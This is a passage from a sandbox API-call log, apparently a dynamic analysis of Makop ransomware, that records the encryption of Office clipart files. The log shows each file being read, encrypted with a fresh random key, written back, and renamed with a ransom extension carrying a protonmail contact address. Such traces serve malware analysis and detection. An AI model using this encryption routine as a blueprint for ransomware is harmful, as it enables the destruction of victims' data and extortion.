RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.262] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.262] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.262] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.262] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.263] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.263] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.263] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.263] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.263] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.264] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x31dc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x31dc, lpOverlapped=0x0) returned 1 [0133.265] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31e0, dwBufLen=0x31e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31e0) returned 1 [0133.265] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.265] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x31e0, lpOverlapped=0x0) returned 1 [0133.266] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.266] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x32b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.266] SetEndOfFile (hFile=0xf0) returned 1 [0133.273] GetProcessHeap () returned 0x48a0000 [0133.273] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.273] GetProcessHeap () returned 0x48a0000 [0133.273] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.273] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.275] CloseHandle (hObject=0xf0) returned 1 [0133.275] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1 [0133.275] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF") returned 63 [0133.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.276] GetProcessHeap () returned 0x48a0000 [0133.276] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.276] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.276] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.276] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0133.281] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.281] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.281] GetProcessHeap () returned 0x48a0000 [0133.281] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.281] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.281] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.281] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.281] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.281] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.282] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.282] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.282] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.282] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.283] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3854, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3854, lpOverlapped=0x0) returned 1 [0133.284] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3860, dwBufLen=0x3860 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3860) returned 1 [0133.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.285] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3860, lpOverlapped=0x0) returned 1 [0133.285] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.285] SetEndOfFile (hFile=0xf0) returned 1 [0133.292] GetProcessHeap () returned 0x48a0000 [0133.292] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.292] GetProcessHeap () returned 0x48a0000 [0133.292] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.292] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.294] CloseHandle (hObject=0xf0) returned 1 [0133.294] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1 [0133.294] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF") returned 63 [0133.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.295] GetProcessHeap () returned 0x48a0000 [0133.295] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.295] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.295] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.296] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.300] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.300] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.301] GetProcessHeap () returned 0x48a0000 [0133.301] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.301] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.301] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.301] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.301] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.301] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.301] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.302] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.302] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.302] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.302] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.302] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2e88, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2e88, lpOverlapped=0x0) returned 1 [0133.304] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e90, dwBufLen=0x2e90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e90) returned 1 [0133.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.304] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2e90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2e90, lpOverlapped=0x0) returned 1 [0133.304] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.305] SetEndOfFile (hFile=0xf0) returned 1 [0133.311] GetProcessHeap () returned 0x48a0000 [0133.311] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.312] GetProcessHeap () returned 0x48a0000 [0133.312] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.312] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.313] CloseHandle (hObject=0xf0) returned 1 [0133.314] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1 [0133.314] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF") returned 63 [0133.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.316] GetProcessHeap () returned 0x48a0000 [0133.316] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.316] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.316] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.316] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0133.342] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.343] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.343] GetProcessHeap () returned 0x48a0000 [0133.343] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.343] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.343] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.343] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.344] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.344] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.344] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.345] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.345] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.345] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.345] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.345] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30f2, lpOverlapped=0x0) returned 1 [0133.349] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3100, dwBufLen=0x3100 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3100) returned 1 [0133.350] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.350] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3100, lpOverlapped=0x0) returned 1 [0133.350] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.350] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.350] SetEndOfFile (hFile=0xf0) returned 1 [0133.360] GetProcessHeap () returned 0x48a0000 [0133.360] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.360] GetProcessHeap () returned 0x48a0000 [0133.360] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.360] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.367] CloseHandle (hObject=0xf0) returned 1 [0133.367] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1 [0133.367] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF") returned 63 [0133.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.369] GetProcessHeap () returned 0x48a0000 [0133.369] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.369] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.369] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | 